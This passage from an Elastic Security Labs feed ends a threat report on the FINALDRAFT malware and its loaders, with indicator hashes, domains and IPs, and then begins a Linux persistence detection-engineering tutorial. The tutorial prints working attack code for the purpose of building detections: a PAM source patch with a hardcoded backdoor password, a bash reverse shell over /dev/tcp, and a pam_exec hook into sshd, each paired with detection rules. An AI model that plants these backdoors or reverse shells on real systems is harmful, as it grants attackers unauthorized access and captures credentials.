<p><code>poster.checkponit[.]com</code> was observed in four GUIDLOADER samples and a PATHLOADER sample between May and July 2023, and it was used to host the FINALDRAFT encrypted shellcode. The <code>checkponit[.]com</code> registration was created on August 26, 2022. There are currently no A records for <code>checkponit[.]com</code> or <code>poster.checkponit[.]com</code>.</p> <h4>Third-party infrastructure</h4> <p>Microsoft’s <code>graph.microsoft[.]com</code> is used by the FINALDRAFT PE and ELF variants for command and control via the Graph API. This service is ubiquitous and used for critical business processes of enterprises using Office 365. Defenders are highly encouraged to NOT block-list this domain unless business ramifications are understood.</p> <p>Google’s Firebase service (<code>firebasestorage.googleapis[.]com</code>), Pastebin (<code>pastebin[.]com</code>), and a Southeast Asian University are third-party services used to host the encrypted payload for the loaders (PATHLOADER and GUIDLOADER) to download and decrypt the last stage of FINALDRAFT.</p> <h2>REF7707 timeline</h2> <p><img src="https://www.elastic.co/security-labs/assets/images/fragile-web-ref7707/image6.png" alt="REF7707 timeline" title="FINALDRAFT timeline" /></p> <h2>Conclusion</h2> <p>REF7707 was discovered while investigating an intrusion of a South American nation's Foreign Ministry.</p> <p>The investigation revealed novel malware like FINALDRAFT and its various loaders. These tools were deployed and supported using built-in operating system features that are difficult for traditional anti-malware tools to detect.</p> <p>FINALDRAFT co-opts Microsoft’s graph API service for command and control to minimize malicious indicators that would be observable to traditional network-based intrusion detection and prevention systems. Third-party hosting platforms for encrypted payload staging also challenge these systems early in the infection chain.</p> <p>An overview of the VirusTotal submitters and pivots using the indicators in this report shows a relatively heavy geographic presence in Southeast Asia and South America. SIESTAGRAPH, similarly, was the first in-the-wild graph API abuse we had observed, and it (REF2924) involved an attack on a Southeast Asian nation’s Foreign Ministry.</p> <p>At Elastic Security Labs, we champion defensive capabilities across infosec domains operated by knowledgeable professionals to mitigate advanced threats best.</p> <h2>REF7707 through MITRE ATT&CK</h2> <p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p> <ul> <li><a href="https://attack.mitre.org/tactics/TA0043/">Reconnaissance</a></li> <li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li> <li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li> <li><a href="https://attack.mitre.org/tactics/TA0004">Privilege Escalation</a></li> <li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li> <li><a href="https://attack.mitre.org/tactics/TA0006">Credential Access</a></li> <li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li> <li><a href="https://attack.mitre.org/tactics/TA0008">Lateral Movement</a></li> <li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li> <li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li> <li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li> </ul> <h2>Detecting REF7707</h2> <h3>YARA</h3> <ul> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_FinalDraft.yar">FINALDRAFT (Windows)</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_FinalDraft.yar">FINALDRAFT (Linux)</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_FinalDraft.yar">FINALDRAFT (Multi-OS)</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PathLoader.yar">PATHLOADER</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GuidLoader.yar">GUIDLOADER</a></li> </ul> <h2>Observations</h2> <p>The following observables were discussed in this research.</p> <table> <thead> <tr> <th>Observable</th> <th>Type</th> <th>Name</th> <th>Reference</th> </tr> </thead> <tbody> <tr> <td><code>39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530</code></td> <td>SHA-256</td> <td><code>Session.x64.dll</code></td> <td>FINALDRAFT</td> </tr> <tr> <td><code>83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c</code></td> <td>SHA-256</td> <td><code>pfman</code></td> <td>FINALDRAFT ELF</td> </tr> <tr> <td><code>f45661ea4959a944ca2917454d1314546cc0c88537479e00550eef05bed5b1b9</code></td> <td>SHA-256</td> <td><code>biosets.rar</code></td> <td>FINALDRAFT ELF</td> </tr> <tr> <td><code>9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf</code></td> <td>SHA-256</td> <td><code>dwn.exe</code></td> <td>PATHLOADER</td> </tr> <tr> <td><code>41a3a518cc8abad677bb2723e05e2f052509a6f33ea75f32bd6603c96b721081</code></td> <td>SHA-256</td> <td><code>5.exe</code></td> <td>GUIDLOADER</td> </tr> <tr> <td><code>d9fc1cab72d857b1e4852d414862ed8eab1d42960c1fd643985d352c148a6461</code></td> <td>SHA-256</td> <td><code>7.exe</code></td> <td>GUIDLOADER</td> </tr> <tr> <td><code>f29779049f1fc2d45e43d866a845c45dc9aed6c2d9bbf99a8b1bdacfac2d52f2</code></td> <td>SHA-256</td> <td><code>8.exe</code></td> <td>GUIDLOADER</td> </tr> <tr> <td><code>17b2c6723c11348ab438891bc52d0b29f38fc435c6ba091d4464f9f2a1b926e0</code></td> <td>SHA-256</td> <td><code>3.exe</code></td> <td>GUIDLOADER</td> </tr> <tr> <td><code>20508edac0ca872b7977d1d2b04425aaa999ecf0b8d362c0400abb58bd686f92</code></td> <td>SHA-256</td> <td><code>1.exe</code></td> <td>GUIDLOADER</td> </tr> <tr> <td><code>33f3a8ef2c5fbd45030385b634e40eaa264acbaeb7be851cbf04b62bbe575e75</code></td> <td>SHA-256</td> <td><code>1.exe</code></td> <td>GUIDLOADER</td> </tr> <tr> <td><code>41141e3bdde2a7aebf329ec546745149144eff584b7fe878da7a2ad8391017b9</code></td> <td>SHA-256</td> <td><code>11.exe</code></td> <td>GUIDLOADER</td> </tr> <tr> <td><code>49e383ab6d092ba40e12a255e37ba7997f26239f82bebcd28efaa428254d30e1</code></td> <td>SHA-256</td> <td><code>2.exe</code></td> <td>GUIDLOADER</td> </tr> <tr> <td><code>5e3dbfd543909ff09e343339e4e64f78c874641b4fe9d68367c4d1024fe79249</code></td> <td>SHA-256</td> <td><code>4.exe</code></td> <td>GUIDLOADER</td> </tr> <tr> <td><code>7cd14d3e564a68434e3b705db41bddeb51dbb7d5425fd901c5ec904dbb7b6af0</code></td> <td>SHA-256</td> <td><code>1.exe</code></td> <td>GUIDLOADER</td> </tr> <tr> <td><code>842d6ddb7b26fdb1656235293ebf77c683608f8f312ed917074b30fbd5e8b43d</code></td> <td>SHA-256</td> <td><code>2.exe</code></td> <td>GUIDLOADER</td> </tr> <tr> <td><code>f90420847e1f2378ac8c52463038724533a9183f02ce9ad025a6a10fd4327f12</code></td> <td>SHA-256</td> <td><code>6.exe</code></td> <td>GUIDLOADER</td> </tr> <tr> <td><code>poster.checkponit[.]com</code></td> <td>domain-name</td> <td></td> <td>REF7707 infrastructure</td> </tr> <tr> <td><code>support.fortineat[.]com</code></td> <td>domain-name</td> <td></td> <td>REF7707 infrastructure</td> </tr> <tr> <td><code>update.hobiter[.]com</code></td> <td>domain-name</td> <td></td> <td>REF7707 infrastructure</td> </tr> <tr> <td><code>support.vmphere[.]com</code></td> <td>domain-name</td> <td></td> <td>REF7707 infrastructure</td> </tr> <tr> <td><code>cloud.autodiscovar[.]com</code></td> <td>domain-name</td> <td></td> <td>REF7707 infrastructure</td> </tr> <tr> <td><code>digert.ictnsc[.]com</code></td> <td>domain-name</td> <td></td> <td>REF7707 infrastructure</td> </tr> <tr> <td><code>d-links[.]net</code></td> <td>domain-name</td> <td></td> <td>REF7707 infrastructure</td> </tr> <tr> <td><code>vm-clouds[.]net</code></td> <td>domain-name</td> <td></td> <td>REF7707 infrastructure</td> </tr> <tr> <td><code>47.83.8[.]198</code></td> <td>ipv4-addr</td> <td></td> <td>REF7707 infrastructure</td> </tr> <tr> <td><code>8.218.153[.]45</code></td> <td>ipv4-addr</td> <td></td> <td>REF7707 infrastructure</td> </tr> <tr> <td><code>45.91.133[.]254</code></td> <td>ipv4-addr</td> <td></td> <td>REF7707 infrastructure</td> </tr> <tr> <td><code>8.213.217[.]182</code></td> <td>ipv4-addr</td> <td></td> <td>REF7707 infrastructure</td> </tr> <tr> <td><code>47.239.0[.]216</code></td> <td>ipv4-addr</td> <td></td> <td>REF7707 infrastructure</td> </tr> </tbody> </table> <h2>References</h2> <p>The following were referenced throughout the above research:</p> <ul> <li><a href="https://www.elastic.co/security-labs/finaldraft">https://www.elastic.co/security-labs/finaldraft</a></li> <li><a href="https://mrd0x.com/the-power-of-cdb-debugging-tool/">https://mrd0x.com/the-power-of-cdb-debugging-tool/</a></li> <li><a href="https://web.archive.org/web/20210305190100/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html">https://web.archive.org/web/20210305190100/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html</a></li> </ul> <h2>About Elastic Security Labs</h2> <p>Elastic Security Labs is dedicated to creating positive change in the threat landscape by providing publicly available research on emerging threats.</p> <p>Follow Elastic Security Labs on X <a href="https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor">@elasticseclabs</a> and check out our research at <a href="https://www.elastic.co/security-labs/">www.elastic.co/security-labs/</a>. You can see the technology we leveraged for this research and more by checking out <a href="https://www.elastic.co/security">Elastic Security</a>.</p> ]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/fragile-web-ref7707/ref7707.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Linux Detection Engineering - Approaching the Summit on Persistence Mechanisms]]></title> <link>https://www.elastic.co/security-labs/approaching-the-summit-on-persistence</link> <guid>approaching-the-summit-on-persistence</guid> <pubDate>Tue, 11 Feb 2025 00:00:00 GMT</pubDate> <description><![CDATA[Building on foundational concepts and techniques explored in the previous publications, this post discusses some creative and/or complex persistence mechanisms.]]></description> <content:encoded><![CDATA[<h1>Introduction</h1> <p>Welcome to part four of the Linux Persistence Detection Engineering series! In this article, we continue to dig deep into the world of Linux persistence. Building on foundational concepts and techniques explored in the previous publications, this post discusses some creative and/or complex persistence mechanisms.</p> <p>If you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here:</p> <ul> <li><a href="https://www.elastic.co/security-labs/primer-on-persistence-mechanisms"><em>Linux Detection Engineering - A Primer on Persistence Mechanisms</em></a></li> <li><a href="https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms"><em>Linux Detection Engineering - A Sequel on Persistence Mechanisms</em></a></li> <li><a href="https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms"><em>Linux Detection Engineering - A Continuation on Persistence Mechanisms</em></a></li> </ul> <p>In this publication, we’ll provide insights into:</p> <ul> <li>How each works (theory)</li> <li>How to set each up (practice)</li> <li>How to detect them (SIEM and Endpoint rules)</li> <li>How to hunt for them (ES|QL and OSQuery reference hunts)</li> </ul> <p>To make the process even more engaging, we will be leveraging <a href="https://github.com/Aegrah/PANIX">PANIX</a>, a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities.</p> <p>By the end of this series, you'll have a robust knowledge of common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Let’s dive in!</p> <h1>Setup note</h1> <p>To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to <a href="https://www.elastic.co/guide/en/security/current/prebuilt-rules-management.html#update-prebuilt-rules">enable and update our pre-built detection rules</a>. If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started.</p> <h1>T1556.003 - Modify Authentication Process: Pluggable Authentication Modules</h1> <p><a href="https://www.redhat.com/en/blog/pluggable-authentication-modules-pam">Pluggable Authentication Modules (PAM)</a> are a powerful framework used in Linux to manage authentication-related tasks. PAM operates as a layer between applications and authentication methods, allowing system administrators to configure flexible and modular authentication policies. These modules are defined in configuration files typically found in <code>/etc/pam.d/</code>.</p> <p>PAM modules themselves are shared library files commonly stored in the following locations:</p> <ul> <li><code>/lib/security/</code></li> <li><code>/lib64/security/</code></li> <li><code>/lib/x86_64-linux-gnu/security/</code></li> <li><code>/usr/lib/security/</code></li> <li><code>/usr/lib64/security/</code></li> <li><code>/usr/lib/x86_64-linux-gnu/security/</code></li> </ul> <p>These locations house modules that perform authentication tasks, such as validating passwords, managing accounts, or executing scripts during authentication. While PAM provides the essential capability to centralize how secure authentication happens, its flexibility can be abused by attackers to establish persistence through malicious PAM modules. By introducing custom modules or modifying existing configurations, attackers can manipulate authentication flows to capture credentials, manipulate logging to evade detection, grant unauthorized access, or execute malicious code.</p> <p>This is a common technique, and some examples include the open-source <a href="https://github.com/ldpreload/Medusa">Medusa</a> and <a href="https://github.com/chokepoint/azazel">Azazel</a> rootkits, and by malwares such as <a href="https://attack.mitre.org/software/S0377/">Ebury</a>, and <a href="https://unit42.paloaltonetworks.com/linux-pam-apis/">Skidmap</a> to establish persistence, capture credentials, and maintain unauthorized access. MITRE ATT&CK tracks this technique under the identifier <a href="https://attack.mitre.org/techniques/T1556/003/">T1556.003</a>.</p> <h2>T1556.003 - Pluggable Authentication Modules: Malicious PAM</h2> <p>Malicious PAM modules are custom-built, malicious shared libraries designed to be loaded during the PAM authentication process. Although there are many different ways to establish a PAM backdoor, in this section we will showcase how PAM can be patched to allow for backdoor SSH access.</p> <p>Commonly, PAM backdoors will patch the <code>pam_unix_auth.c</code> file, which is part of the <code>pam_unix</code> module, a widely used PAM module for UNIX-style password authentication. An open-source example of this is the <a href="https://github.com/zephrax/linux-pam-backdoor">linux-pam-backdoor</a> by <a href="https://github.com/zephrax">zephrax</a>. The typical code that is run to verify the password of a user requesting authentication, looks as follows:</p> <pre><code class="language-c">/* verify the password of this user */ retval = _unix_verify_password(pamh, name, p, ctrl); name = p = NULL; </code></pre> <p>The original code calls the <code>_unix_verify_password</code> function to validate the provided password (<code>p</code>) against the stored password for the user (<code>name</code>). The full source code is available <a href="https://github.com/linux-pam/linux-pam/blob/fc927d8f1a6d81e5bcf58096871684b35b793fe2/modules/pam_unix/pam_unix_auth.c">here</a>.</p> <p>A threat actor may patch this code, and introduce an additional check.</p> <pre><code class="language-c">/* verify the password of this user */if (strcmp(p, "_PASSWORD_") != 0) { retval = _unix_verify_password(pamh, name, p, ctrl); } else { retval = PAM_SUCCESS; } </code></pre> <p>The code now checks:</p> <ul> <li>If the provided password (<code>p</code>) is not equal to the string literal <code>"_PASSWORD_"</code>, it proceeds to call <code>_unix_verify_password</code> for standard password validation.</li> <li>If the password is <code>"_PASSWORD_"</code>, it skips the password verification entirely and directly returns <code>PAM_SUCCESS</code>, indicating successful authentication.</li> </ul> <p>The patch introduces a hardcoded backdoor password. Any user who enters the password <code>"_PASSWORD_"</code> will bypass normal password verification and be authenticated successfully, regardless of the actual password stored for the account.</p> <h3>Persistence through T1556.003 - Pluggable Authentication Modules: Malicious PAM</h3> <p>We will be leveraging the <a href="https://github.com/Aegrah/PANIX/blob/main/modules/setup_pam.sh">setup_pam.sh</a> module from PANIX to test this technique and research potential detection opportunities. This patch is easily implemented by downloading the PAM source code for the correct PAM version from the <a href="https://github.com/linux-pam/linux-pam/releases">linux-pam</a> GitHub repository, looking for the line to replace, and replacing it with your own hardcoded password:</p> <pre><code>echo "[+] Modifying PAM source..." local target_file="$src_dir/modules/pam_unix/pam_unix_auth.c" if grep -q "retval = _unix_verify_password(pamh, name, p, ctrl);" "$target_file"; then sed -i '/retval = _unix_verify_password(pamh, name, p, ctrl);/a\ if (p != NULL && strcmp(p, "'$password'") != 0) { retval = _unix_verify_password(pamh, name, p, ctrl); } else { retval = PAM_SUCCESS; }' "$target_file" echo "[+] Source modified successfully." else echo "[-] Target string not found in $target_file. Modification failed." exit 1 fi </code></pre> <p>After which we can compile the shared object, and move it to the correct PAM directory.</p> <p>Now let’s run the <a href="https://github.com/Aegrah/PANIX/blob/main/modules/setup_pam.sh">setup_pam.sh</a> module. This technique requires several compilation tools and downloading a specific Linux-PAM release. Execute the following PANIX command to inject a malicious module.</p> <pre><code class="language-py">> sudo ./panix.sh --pam --module --password persistence [+] Determining PAM version... [+] Detected PAM Version: '1.3.1' [+] Downloading PAM source... [+] Download completed. Extracting... [+] Extraction completed. [+] Modifying PAM source... [+] Source modified successfully. [+] Compiling PAM source... [+] PAM compiled successfully. [+] Detecting PAM library directory... [+] Backing up original PAM library... [+] Copying PAM library to /lib/x86_64-linux-gnu/security... [+] Checking SELinux status... [+] Rogue PAM injected! You can now login to any user (including root) with a login shell using your specified password. Example: su - user Example: ssh user@ip [+] PAM persistence established! </code></pre> <p>Let’s analyze the events of interest in Discover. Due to the huge load of events originating from compiling PAM source, these events are sorted from oldest (top) to newest (bottom).</p> <p><img src="https://www.elastic.co/security-labs/assets/images/approaching-the-summit-on-persistence/image4.png" alt="PANIX Malicious PAM module execution visualized in Kibana - part 1" /></p> <p>Upon execution of PANIX, we can see <code>dpkg</code> being used to discover the running PAM version, followed by a <code>curl</code> execution to download the linux-pam source for this identified version. After extracting the <code>tar</code> archive, PANIX continues to modify the <code>pam_unix_auth.c</code> source code to implement the backdoor.</p> <p>Once the above steps are completed, the following events occur (sorted from newest (top) to oldest (bottom)):</p> <p><img src="https://www.elastic.co/security-labs/assets/images/approaching-the-summit-on-persistence/image1.png" alt="PANIX Malicious PAM module execution visualized in Kibana - part 2" /></p> <p>The <code>pam_unix.so</code> file is compiled, and moved to the correct directory (in this case <code>/lib/x86_64-linux-gnu/security</code>), overwriting the existing <code>pam_unix.so</code> file and successfully activating the backdoor.</p> <p>Let's review the coverage:</p> <p><em>Detection and endpoint rules that cover Malicious PAM persistence</em></p> <table> <thead> <tr> <th align="left">Category</th> <th align="left">Coverage</th> </tr> </thead> <tbody> <tr> <td align="left">File</td> <td align="left"><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_creation.toml">Creation or Modification of Pluggable Authentication Module or Configuration</a> <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_creation_in_unusual_dir.toml">Pluggable Authentication Module Creation in Unusual Directory</a> <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td> </tr> <tr> <td align="left">Process</td> <td align="left"><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/discovery_pam_version_discovery.toml">Pluggable Authentication Module Version Discovery</a> <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_source_download.toml">Pluggable Authentication Module Source Download</a></td> </tr> <tr> <td align="left">Authentication</td> <td align="left"><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_unusual_pam_grantor.toml">Authentication via Unusual PAM Grantor</a></td> </tr> </tbody> </table> <p>To revert any changes made to the system by PANIX, you can use the corresponding revert module by running:</p> <pre><code>> ./panix.sh --revert pam [+] Searching for rogue PAM module [+] Restored original PAM module '/lib/x86_64-linux-gnu/security/pam_unix.so'. [+] Restarting SSH service... [+] SSH service restarted successfully. </code></pre> <h3>Hunting for T1556.003 - Pluggable Authentication Modules (Malicious PAM)</h3> <p>Other than relying on detections, it is important to incorporate threat hunting into your workflow, especially for persistence mechanisms like these, where events can potentially be missed due to timing. This publication will solely list the available hunts for each persistence mechanism; however, more details regarding the basics of threat hunting are outlined in the “<em>Hunting for T1053 - scheduled task/job</em>” section of “<a href="https://www.elastic.co/security-labs/primer-on-persistence-mechanisms"><em>Linux Detection Engineering - A primer on persistence mechanisms</em></a>”. Additionally, descriptions and references can be found in our <a href="https://github.com/elastic/detection-rules">Detection Rules repository</a>, specifically in the <a href="https://github.com/elastic/detection-rules/tree/main/hunting">Linux hunting subdirectory</a>.</p> <p>We can hunt for PAM persistence through <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html">ES|QL</a> and <a href="https://www.elastic.co/guide/en/kibana/current/osquery.html">OSQuery</a>, focusing on file creations (as this technique requires the compilation of modified PAM components) and modifications to PAM-related files and directories. The approach includes monitoring for the following:</p> <ul> <li><strong>Creations and/or modifications to PAM configuration files:</strong> Tracks changes to files in the <code>/etc/pam.d/</code> and <code>/lib/security/</code> directories and the <code>/etc/pam.conf</code> file, which are commonly targeted for PAM persistence.</li> </ul> <p>By combining the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_pluggable_authentication_module.md">Persistence via Pluggable Authentication Modules</a> hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1556/003/">T1556.003</a>.</p> <h2>T1556.003 - Pluggable Authentication Modules: pam_exec.so</h2> <p>The <code>pam_exec.so</code> module, part of the PAM framework, allows administrators to execute external commands or scripts during the authentication process. This flexibility is powerful for extending authentication workflows with tasks like logging, additional security checks, or notifications. However, this same capability can be exploited by attackers to log passwords or execute backdoors, enabling malicious scripts to run when users authenticate.</p> <p>To understand how <code>pam_exec.so</code> can be configured, consider the following excerpt from <code>/etc/pam.d/common-auth</code>, a file that defines the authentication scheme for Linux systems:</p> <pre><code class="language-py"># /etc/pam.d/common-auth - authentication settings common to all services # Primary modules auth [success=1 default=ignore] pam_unix.so nullok_secure # Fallback if no module succeeds auth requisite pam_deny.so # Ensure a positive return value if none is set auth required pam_permit.so </code></pre> <p>This file controls how authentication is processed for all services. Each line defines a module and its behavior. For instance:</p> <ul> <li>The <code>auth</code> keyword indicates that the module operates during the authentication phase.</li> <li>Control flags, like <code>[success=1 default=ignore]</code>, specify how PAM interprets the module's result. For example, <code>success=1</code> skips the next module if the current one succeeds.</li> <li>The <code>requisite</code> flag immediately denies authentication if the module fails: <ul> <li><code>auth requisite pam_deny.so</code></li> </ul> </li> <li>The <code>required</code> flag ensures the module must succeed for authentication to proceed, though subsequent modules in the stack will still execute: <ul> <li><code>auth required pam_permit.so</code></li> </ul> </li> </ul> <p>Modules such as <code>pam_unix.so</code> handle traditional UNIX authentication by validating user credentials against <code>/etc/shadow</code>. Together, these components define the authentication process and dictate how the system responds to various conditions. For more information and examples, visit the <a href="https://linux.die.net/man/5/pam.d">pam.d man page</a>.</p> <p>One way of abusing this mechanism is by leveraging the <code>pam_exec.so</code> module to execute an arbitrary script upon authentication through <code>/etc/pam.d/sshd</code>. By providing the path to a backdoor script on the host system, we can ensure that our backdoor is executed on every successful SSH authentication. <a href="https://www.group-ib.com/">Group-IB</a> wrote about this technique in a recent publication dubbed “<a href="https://www.group-ib.com/blog/pluggable-authentication-module/"><em>The Duality of the Pluggable Authentication Module (PAM)</em></a>”.</p> <p>A second method involves the modification of <code>/etc/pam.d/common-auth</code> for Debian-based systems or <code>/etc/pam.d/sshd</code> for Fedora-based systems to log user credentials. This technique was earlier discussed in <a href="https://embracethered.com/blog/">Wunderwuzzi’s blog</a> called “<a href="https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/"><em>Post Exploitation: Sniffing Logon Passwords with PAM</em></a>”. While capturing credentials isn't technically a persistence mechanism, it enables ongoing access to a host by leveraging stolen credentials.</p> <p>In the next section we will take a look at how to implement arbitrary command execution through <code>pam_exec.so</code> using PANIX.</p> <h3>Persistence through T1556.003 - Pluggable Authentication Modules: pam_exec.so</h3> <p>To better understand the technique, we will take a look at the <a href="https://github.com/Aegrah/PANIX/blob/main/modules/setup_pam.sh">setup_pam.sh</a> PANIX module.</p> <pre><code>echo -e "#!/bin/bash\nnohup setsid /bin/bash -c '/bin/bash -i >& /dev/tcp/$ip/$port 0>&1' &" > /bin/pam_exec_backdoor.sh chmod 700 /bin/pam_exec_backdoor.sh pam_sshd_file="/etc/pam.d/sshd" pam_line="session optional pam_exec.so seteuid /bin/pam_exec_backdoor.sh" </code></pre> <p>The first step is to create the backdoor script to execute, this can be any C2 beacon, reverse shell or other means of persistence. PANIX creates a simple reverse shell and grants it execution permissions. Once the backdoor in <code>/bin/pam_exec_backdoor.sh</code> is in place, the <code>/etc/pam.d/sshd</code> file is modified. The <code>session</code> keyword ensures the script runs during user session setup or teardown, while <code>seteuid</code> ensures the script runs with the effective user ID (<code>eUID</code>) of the authenticated user instead of root.</p> <p>Since the detection methods for the password harvesting module are quite similar to those of the backdoor module, we will focus on discussing the backdoor module in detail. You are encouraged to explore the <a href="https://github.com/Aegrah/PANIX/blob/7a9cf39b35b40ee64bfe6b510f685003ebc043ae/modules/setup_pam.sh#L257">password-harvesting module</a> on your own!</p> <p>Let’s run the PANIX module with the following command line arguments:</p> <pre><code>> sudo ./panix.sh --pam --pam-exec --backdoor --ip 192.168.100.1 --port 2015 [+] Creating reverse shell script at /bin/pam_exec_backdoor.sh... [+] /bin/pam_exec_backdoor.sh created and permissions set to 700. [+] Modifying /etc/pam.d/sshd to include the PAM_EXEC rule... [+] PAM_EXEC rule added to /etc/pam.d/sshd. [+] Restarting SSH service to apply changes... [+] SSH service restarted successfully. [+] PAM_EXEC reverse shell backdoor planted! Authenticate to trigger the reverse shell. [+] PAM persistence established! </code></pre> <p>After triggering the reverse shell by authentication, we can analyze the logs in Discover:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/approaching-the-summit-on-persistence/image3.png" alt="PANIX pam_exec.so module execution visualized in Kibana" /></p> <p>After PANIX executes, it creates and grants execution permissions to the <code>/bin/pam_exec_backdoor.sh</code> backdoor. Next, the backdoor configuration is added to the <code>/etc/pam.d/sshd</code> file, and the <code>SSHD</code> service is restarted. Upon authentication, we can see the execution of the backdoor by the <code>SSHD</code> parent process, starting the reverse shell chain (<code>pam_exec_backdoor.sh</code> → <code>nohup</code> → <code>setsid</code> → <code>bash</code>).</p> <p>Let’s review the coverage. The key distinction between this technique and the previous one is that this method relies on configuration changes rather than compiling a new PAM module, requiring a different set of detection rules to address the threat effectively:</p> <p><em>Detection and endpoint rules that cover pam_exec.so persistence</em></p> <table> <thead> <tr> <th align="left">Category</th> <th align="left">Coverage</th> </tr> </thead> <tbody> <tr> <td align="left">File</td> <td align="left"><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_creation.toml">Creation or Modification of Pluggable Authentication Module or Configuration</a> <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td> </tr> <tr> <td align="left">Process</td> <td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/8a9e857453566068088f5a24cc1f39b839e60fe8/behavior/rules/linux/persistence_potential_backdoor_execution_through_pam_exec.toml">Potential Backdoor Execution Through PAM_EXEC</a> <a href="https://github.com/elastic/detection-rules/blob/e528feb989d8fc7f7ca8c4100c0bf5ca7b912a5d/rules/linux/persistence_unusual_sshd_child_process.toml">Unusual SSHD Child Process</a></td> </tr> </tbody> </table> <p>To revert any changes, you can use the corresponding revert module by running:</p> <pre><code>> ./panix.sh --revert pam [+] Removing PAM_EXEC backdoor... [+] Removed '/bin/pam_exec_backdoor.sh'. [+] Removed PAM_EXEC line from '/etc/pam.d/sshd'. [+] Restarting SSH service... [+] SSH service restarted successfully. [-] PAM_EXEC line not found in '/etc/pam.d/common-auth'. </code></pre> <h3>Hunting for T1556.003 - Pluggable Authentication Modules: pam_exec.so</h3> <p>We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to its use. This technique relies on altering PAM configuration files, rather than compilation to execute commands or scripts. The approach includes monitoring for the following:</p> <ul> <li><strong>Child processes spawned from SSH:</strong> Tracks processes initiated via SSH sessions, as these may indicate the misuse of <code>pam_exec.so</code> for persistence.</li> <li><strong>Creations and/or modifications to PAM configuration files:</strong> Tracks changes to files in the <code>/etc/pam.d/</code> and <code>/lib/security/</code> directories and the <code>/etc/pam.conf</code> file, which are commonly targeted for PAM persistence.</li> </ul> <p>By combining the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_pluggable_authentication_module.md">Persistence via Pluggable Authentication Modules</a> hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1556/003/">T1556.003</a>.</p> <h1>T1546.016 - Event Triggered Execution: Installer Packages</h1> <p>Package managers are used to install, update, and manage software packages. While these tools streamline software management, they can also be abused by attackers to gain initial access or achieve persistence. By hijacking the package manager's execution flow, attackers can insert malicious code that executes during routine package management tasks, such as package installation or updates. This technique is tracked by MITRE under the identifier <a href="https://attack.mitre.org/techniques/T1546/016/">T1546.016</a>.</p> <h2>T1546.016 - Installer Packages: DPKG & RPM</h2> <p>Popular managers include <code>DPKG</code> (Debian Package) for Debian-based distributions and <code>RPM</code> (Red Hat Package Manager) for Red Hat-based systems.</p> <p><strong>1. DPKG (Debian Package Manager)</strong></p> <p><code>DPKG</code>, the Debian package manager, processes <code>.deb</code> packages and supports lifecycle scripts such as <code>preinst</code>, <code>postinst</code>, <code>prerm</code>, and <code>postrm</code>. These scripts run at different stages of the package lifecycle, making them a potential target for executing malicious commands. A potential DPKG package file structure used for malicious intent could look like this:</p> <pre><code>malicious_package/├── DEBIAN/ ├── control ├── postinst </code></pre> <p>Where the post-installation script (<code>postinst</code>) runs 